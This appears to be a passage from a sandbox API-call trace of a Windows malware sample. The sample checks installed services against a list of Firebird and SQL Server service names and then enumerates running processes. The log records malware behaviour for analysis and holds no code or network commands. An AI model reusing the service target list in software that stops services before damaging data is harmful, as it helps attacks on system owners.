	[0094.706] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0094.706] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0094.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0094.706] lstrlenW (lpString="netprofm") returned 8
	[0094.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0094.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0094.706] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0094.706] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0094.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0094.706] lstrlenW (lpString="NlaSvc") returned 6
	[0094.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0094.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0094.706] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0094.706] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0094.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0094.706] lstrlenW (lpString="nsi") returned 3
	[0094.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0094.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0094.706] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0094.706] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0094.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0094.706] lstrlenW (lpString="PcaSvc") returned 6
	[0094.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0094.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0094.706] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0094.706] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0094.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0094.707] lstrlenW (lpString="PlugPlay") returned 8
	[0094.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0094.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0094.707] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0094.707] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0094.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0094.707] lstrlenW (lpString="Power") returned 5
	[0094.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0094.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0094.707] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0094.707] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0094.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0094.707] lstrlenW (lpString="ProfSvc") returned 7
	[0094.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0094.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0094.707] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0094.707] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0094.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0094.707] lstrlenW (lpString="RpcEptMapper") returned 12
	[0094.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0094.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0094.707] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0094.707] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0094.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0094.707] lstrlenW (lpString="RpcSs") returned 5
	[0094.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0094.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0094.707] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0094.707] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0094.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0094.707] lstrlenW (lpString="SamSs") returned 5
	[0094.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0094.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0094.707] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0094.707] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0094.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0094.708] lstrlenW (lpString="Schedule") returned 8
	[0094.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0094.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0094.708] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0094.708] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0094.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0094.708] lstrlenW (lpString="SecurityHealthService") returned 21
	[0094.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0094.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0094.708] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0094.708] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0094.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0094.708] lstrlenW (lpString="SENS") returned 4
	[0094.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0094.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0094.708] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0094.708] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0094.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0094.708] lstrlenW (lpString="ShellHWDetection") returned 16
	[0094.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0094.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0094.708] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0094.708] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0094.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0094.708] lstrlenW (lpString="Spooler") returned 7
	[0094.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0094.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0094.708] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0094.708] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0094.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0094.708] lstrlenW (lpString="SSDPSRV") returned 7
	[0094.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0094.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0094.708] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0094.709] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0094.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0094.709] lstrlenW (lpString="StateRepository") returned 15
	[0094.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0094.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0094.709] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0094.709] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0094.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0094.709] lstrlenW (lpString="SysMain") returned 7
	[0094.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0094.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0094.709] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0094.709] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0094.709] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3199750 | out: hHeap=0x500000) returned 1
	[0094.709] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x358
	[0094.996] Process32FirstW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0094.997] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0094.997] lstrlenW (lpString="System") returned 6
	[0094.997] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0094.998] lstrlenW (lpString="smss.exe") returned 8
	[0094.998] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0094.999] lstrlenW (lpString="csrss.exe") returned 9
	[0094.999] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0094.999] lstrlenW (lpString="wininit.exe") returned 11
	[0094.999] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0095.000] lstrlenW (lpString="csrss.exe") returned 9
	[0095.000] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0095.000] lstrlenW (lpString="winlogon.exe") returned 12
	[0095.000] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0095.001] lstrlenW (lpString="services.exe") returned 12
	[0095.001] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0095.002] lstrlenW (lpString="lsass.exe") returned 9
	[0095.002] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0095.002] lstrlenW (lpString="svchost.exe") returned 11
	[0095.002] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0095.003] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0095.003] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0095.003] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0095.003] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0095.006] lstrlenW (lpString="svchost.exe") returned 11
	[0095.006] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0095.006] lstrlenW (lpString="dwm.exe") returned 7
	[0095.006] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0095.007] lstrlenW (lpString="svchost.exe") returned 11
	[0095.007] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0095.007] lstrlenW (lpString="svchost.exe") returned 11
	[0095.007] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0095.008] lstrlenW (lpString="svchost.exe") returned 11
	[0095.008] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0095.009] lstrlenW (lpString="svchost.exe") returned 11
	[0095.009] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0095.009] lstrlenW (lpString="svchost.exe") returned 11
	[0095.009] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0095.010] lstrlenW (lpString="svchost.exe") returned 11
	[0095.010] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0095.010] lstrlenW (lpString="svchost.exe") returned 11
	[0095.010] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0095.011] lstrlenW (lpString="svchost.exe") returned 11
	[0095.011] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0095.011] lstrlenW (lpString="svchost.exe") returned 11
	[0095.011] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0095.012] lstrlenW (lpString="svchost.exe") returned 11
	[0095.012] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0095.012] lstrlenW (lpString="spoolsv.exe") returned 11
	[0095.012] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0095.013] lstrlenW (lpString="svchost.exe") returned 11
	[0095.013] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0095.014] lstrlenW (lpString="audiodg.exe") returned 11
	[0095.014] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0095.014] lstrlenW (lpString="sihost.exe") returned 10
	[0095.014] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0095.015] lstrlenW (lpString="svchost.exe") returned 11
	[0095.015] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0095.015] lstrlenW (lpString="taskhostw.exe") returned 13
	[0095.015] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x44, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0095.016] lstrlenW (lpString="explorer.exe") returned 12
	[0095.016] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0095.016] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0095.016] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0095.017] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0095.017] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0095.017] lstrlenW (lpString="Memory Compression") returned 18
	[0095.017] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0095.018] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0095.018] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0095.018] lstrlenW (lpString="SearchUI.exe") returned 12
	[0095.018] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0095.019] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0095.019] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0095.019] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0095.019] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fur-hold.exe")) returned 1
	[0095.020] lstrlenW (lpString="fur-hold.exe") returned 12
	[0095.020] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="joan packages omissions.exe")) returned 1
	[0095.020] lstrlenW (lpString="joan packages omissions.exe") returned 27
	[0095.021] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vat.exe")) returned 1
	[0095.021] lstrlenW (lpString="vat.exe") returned 7
	[0095.021] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="catchuploaded.exe")) returned 1
	[0095.022] lstrlenW (lpString="catchuploaded.exe") returned 17
	[0095.022] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hart-changing-bills.exe")) returned 1
	[0095.022] lstrlenW (lpString="hart-changing-bills.exe") returned 23
	[0095.022] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="paxiltried.exe")) returned 1
	[0095.023] lstrlenW (lpString="paxiltried.exe") returned 14
	[0095.023] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cornell_contents.exe")) returned 1
	[0095.023] lstrlenW (lpString="cornell_contents.exe") returned 20
	[0095.023] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="avoidingsearchingmunicipal.exe")) returned 1
	[0095.024] lstrlenW (lpString="avoidingsearchingmunicipal.exe") returned 30
